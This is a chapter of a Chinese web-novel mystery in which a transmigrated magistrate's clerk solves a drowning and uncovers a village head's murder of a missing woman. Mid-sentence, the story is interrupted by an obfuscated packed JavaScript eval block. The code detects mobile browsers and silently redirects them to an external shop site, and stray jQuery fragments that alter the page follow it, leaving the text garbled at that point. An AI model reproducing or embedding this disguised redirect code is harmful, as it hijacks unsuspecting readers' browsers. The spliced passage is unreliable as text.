文趣网 > 其他小说 > 典史她不干了 > 3. 青溪失踪案(二)
    月挂中天,居里正门府内灯火通明,美婢环绕其间,风情各异,顷刻间已有人在中央起舞。

    李惊玄同商恳被请到上座。

    一貌美明艳小婢弯膝为李惊玄倒茶,姿态小心恭顺,不知是头一次服侍还是紧张所致,手指有些微颤。

    李惊玄先是喝了一口,这边张里正吩咐完仆从,正要向上座的二人引荐身侧坐着的细眼瘦削男子。

    那人一身做工考究的长衫,反倒抢先起身,向着李惊玄拱手含笑:“官四娘,许久未见。听闻此番亲临青溪镇,今日恰逢宴席,特地过来与您见上一面。”

    瞧着此人熟悉的面孔,与记忆里的角色对应上,李惊玄心下了然,也朝他微微点头算作回应。

    陈日元。

    此人叫她如何能忘?

    毕竟眼前这位,在游戏里可没少暗中作祟,促成她过往的一桩错案。

    这陈日元也算得一方乡绅,常年往返县城经商,人脉广博。在过往的游戏剧情里,他便时常登门走动、送礼攀附,一来二去,与李惊玄也算相熟。

    早前某日,陈日元曾专程登门拜访,怀中抱着一具精致的木马摆件,说是偶然得一方罕见佳木,特意请匠人雕琢而成,质地温润精巧,最是适宜把玩,特地送来赠予她。一番客套寒暄过后,他才缓缓道明来意。

    他看中了镇上一处无人打理的荒地,想要占地经营做些买卖,只求李惊玄能够通融打点,省去些许繁琐流程。彼时李惊玄未曾多想,只当是寻常商户求财,便令他依规备齐手续,酌情简化了流程,成全了他这桩生意。

    谁料这一念通融,竟酿成一桩冤案。

    那荒地旁住着一名贫苦樵夫,世代在此靠山谋生,不愿搬迁。陈日元手下之人蛮横霸道,为强占土地,强行驱赶樵夫,争执推搡间,不慎将人打下山崖,樵夫当场殒命。

    出了人命后,陈日元却丝毫未有悔改,反倒仗着财力人脉,花钱四处打点,层层压下消息。她本来不知道这件事,如果不是游戏提示声望值下降,她还蒙在鼓里。

    等再派人搜找这樵夫的尸首时,她便进入到了这里。

    陈日元说得兴起,余光瞥见李惊玄与商恳皆是神色淡淡,自觉气氛沉闷,便笑着打趣:“瞧二位一路同行,形影不离,莫不是此番来青溪,是特意结伴出游,寻一处清静温存一番?”

    哪知此番话一出,李惊玄尚未表示,商恳便率先呵斥出声。

    “够了!休得出言冒犯典史大人。”

    被猛地一喝,陈日元这才回过神来。抬眼望去,只见李惊玄唇神情如旧,瞧不出怒意,他心中稍稍松快,连忙打圆场:“瞧我这张嘴,不过一句玩笑罢了,这位小哥未免太过严肃。”

    一旁的貌美女婢为几人续上茶水,李惊玄看了眼女婢手腕处的红痕,“不知陈掌柜近日都在忙些什么营生?”

    “都是不值一提的小买卖。现下不少货物流通都依仗水路,我便借着河道之便,往来贩运些货品混口饭吃罢了。”陈日元乐呵着。

    “如此说来,陈掌柜平日里与码头脚夫来往颇多?”

    见他颔首,李惊玄便又顺势追问:“那不知陈掌柜,可曾听闻前不久有一名伙夫落水溺亡的消息?”

    话音落下,一旁的里正被呛险些失态,好在女婢及时抚背调整。

    陈日元看了眼张里正,面上摆出几分惋惜之色,“河道搬运本就是搏命的辛苦活,风吹浪打,意外频发,这般落水出事的事情,平日里也时有耳闻。”

    “陈掌柜倒是通透。”

    陈日元抿了一口茶,掩去眼神变化,暗道这李典史果真和之前有些不同。

    待宴席散去后,二人辞别张里正与陈日元,折返客栈歇息。

    房内四下确认无闲杂耳目,商恳终于将压在心里的话道出:“这陈日元多半便是姜大娘口中雇下周申的那名掌柜。大人方才何不当即派人拿下,当堂审问?”

    他的眼底满是不解,一腔急切无处施展,如同初生牛犊有心奔走,却被缰绳拴住,只觉郁气难平。

    李惊玄斟了杯水递过去,“如今不过是姜大娘一面说辞,没有实证。陈日元在青溪颇有人脉,又有里正从中周旋庇护,若无确凿凭据贸然拿人,不但问不出实情,反倒会打草惊蛇。因此不好从他下手。”

    青年的眉头依然紧锁,“可目前唯一知道与周申有联系的便是陈日元,任由他们这般遮掩下去,只怕线索断绝。”

    “正因如此,才不能急。”

    目光落到对方尚且青涩的眉眼间,李惊玄轻叹一声,“姜大娘儿媳至今下落不明,两桩案子或许互有关联,不可只盯着周申溺亡一事。”

    闻言,他眼眸微动,“大人的意思是.....”

    李惊玄将烛火灭尽,屋中瞬间昏暗,唯剩一缕月色映入。

    房内仅有他们二人,女子的半张脸映着月光,皎洁如珠。

    明明正值冬日,寒意浸窗,商恳心口却无端涌上一阵燥热,他下意识握紧了手。

    虽然明知案情要紧,可是他这般行事磊落的人,此时也需要借助握拳来镇静自己的心神。

    摩挲着自己因练武结的茧,商恳的心跳了又跳,不敢与她对视。

    周遭静得只余彼此的呼吸,他内心尚未平复,直到片刻后门外一道微弱的呼吸声离开,商恳才发觉方才竟有人在外!

    不等他有所动作,李惊玄抬手按住他,微微倾身,压低声音凑至他耳畔。

    突然拉进的距离令他呼吸微窒,却也没动,只安静听对方轻声吩咐几句。

    半刻钟过后,一道黑影自屋内悄无声息掠出,借着夜色迅速遁走,动作又好似落荒而逃。

    ......

    陈日元睁开眼,环顾四周,皆是流动的水。

    他抬起头,对上一双似笑非笑诡谲的眼睛,里面的恶意让他寒毛卓竖。

    他不敢多看,猛地扑跪在地,面色惨白不见一丝血色。

    “大、大仙,您来了。”话落,他手上一片猩红,才惊觉周边流动的不是水,而是血。

    从上至下蜿蜒划出条条血河,而自己正浸在此中。

    男子高坐泉台,血雾缭绕,唯当一点寒鸦月上头,才朦胧可见桃花面。那张妙容精致近妖,似谪仙似精怪,虽被称一声“大仙”,却无半分宝相庄严,教人生畏。

    男子轻嗤一声,“你求我度厄,心底却又惧我避我,既如此,何苦主动招我入梦?”

    阶下的陈日元俯首帖耳,诺诺说不敢,镇定过后,才开始絮叨今日之事。

    “......那典史前一反常态,若是任由她深挖细究,我等所作所为必定败露无遗。如今走投无路,唯有大仙能庇我周全。您此前嘱托我找寻的玉符,我已然派人寻得带回。可那伙夫不识好歹,窥见玉符不凡,竟妄图私自窃走,拿去换取银两。我为保全要事,只能将他溺毙河中。”

    说到此处,陈日元语气满是懊恼。

    那周申当真是出尔反尔之人!若不是他水性极好,自己怎会不惜颜面去结交这等伙夫?

    终于取得此人信任,还给他钱财,供他买些物件逗妻子欢心,周申却仍然不知足,将算盘打到了那玉符头上!

    只怪他当日疏忽,绑缚尸身的沉石太过松散,未能将人彻底沉于河底,反倒让尸身漂至河道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861897|212038||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中游,叫人发现!

    那李典史也不知是怎么回事,往日在县城打交道,他稍加暗示,她便肯松口通融,可此番到了青溪镇,句句暗藏锋芒,倒是不好应付。

    陈日元深深叩首,“大仙,求您略施仙法,逼得典史速速离开,解我危局!”

    自陈日元开口诉说以来,那容貌妖异的男子始终静默端坐。直至听闻玉符有着落,眼底才略有波澜。

    “既然你诚心赎罪,此番,我便再助你一回。”

    听到应许,陈日元心头大石落地,下一刻,猛地睁眼坐起,屋内寂静无声。

    他第一时间转头望向桌案,只见桌面空空荡荡,那枚玉符果真已被取去。

    他略松一口气,虽然与这大仙相识不过半月,却对此人十分信任。大仙传授他法子,只需每日诚恳默念,便可平步青云,财气不断。

    他半信半疑照做之后,果真万事顺遂,平安无事。也正因这机缘,每当他遇到难事,便会找此人寻对策。

    只是不知道这次,又会是要什么代价。

    翌日,张里正收拾好行头,正准备去乡里巡查,开门却见一群皂隶包围院子,为首的一人正是商恳。

    “你这是——”

    张里正话未说完,惊慌失措间,便被一左一右两位皂隶压至正堂。

    此刻里正门府的正堂,已排出衙厅格局,李惊玄坐定正案。

    李惊玄先不问话,转睑对阶下的姜大娘道:“你先前报官,说是儿媳黄氏失踪,至今未能找到?”

    “回大人,正是。”老妇人垂泪回应,两日过去,她的面孔更加憔悴。

    听见此话,张里正眉头更是紧锁,“她儿媳失踪与我有何相干?官四娘难道要抓我来问断平头百姓的家务事?”

    “张横,本官问你,你可知道黄氏失踪一事?”

    “自是知道,当初姜氏托我派人去搜寻过,可惜无果,并未找到黄氏下落,兴许是自己跑去别处了。”

    “是吗,只恐怕黄氏还在青溪镇中,并未离开。”

    “官四娘可是有所发现?”

    无论张横怎么装傻充楞,李惊玄都面不改色,围绕着黄氏一案开审,可此人却仍心存侥幸,有意装作不知情。

    当真是不见棺材不掉泪!

    李惊玄阴沉了脸,冷笑一声:“黄氏被你所杀,死尸至今还匿藏在后院马厩边的棚房里。烦劳众人随本官一起去现场细看。”

    此番话令满堂咋舌,惊骇不已。

    她引众人转到后院,绕马厩过篱笆到了那间阴暗的棚房。昨日张横派人强行带她走时,她在此处便闻到一股难闻的味道,夜里便派商恳去探寻一番,果真有所发现。

    四名皂隶搬去旧什物仔细寻觅。几人将旧木橱挪开,又掀去那口破麻袋,见麻袋后有一只木箱。

    用力掀开箱盖,箱内果然盛着一具女尸,死相凄惨,正是周申之妻,姜大娘儿媳,黄婉儿。

    张横被押进棚房,见此情状,顿时瘫软倒地,吓得满口胡言。

    李惊玄命皂隶收厝了黄氏尸身,对张横道:“本官勘破此案倒不在尸臭。你府中美婢如云,个个皆是浓艳风流、娇柔妩媚。可满府艳色,唯独缺了黄氏这般温顺质朴的小家碧玉。”

    “你素来贪恋新鲜姿色,见民女貌美温顺,其亲夫溺死,便心生歹念,强抢霸占。黄氏不肯屈从,你恼羞成怒,痛下狠手将其残害致死。”

    李惊玄往前半步,厉声喝问:“张横!你草菅人命、强害民女,事到如今,你可知罪?”

    张横面如死灰,终是招了。

    一众皂隶将其扣押带回衙门,听从县令发落。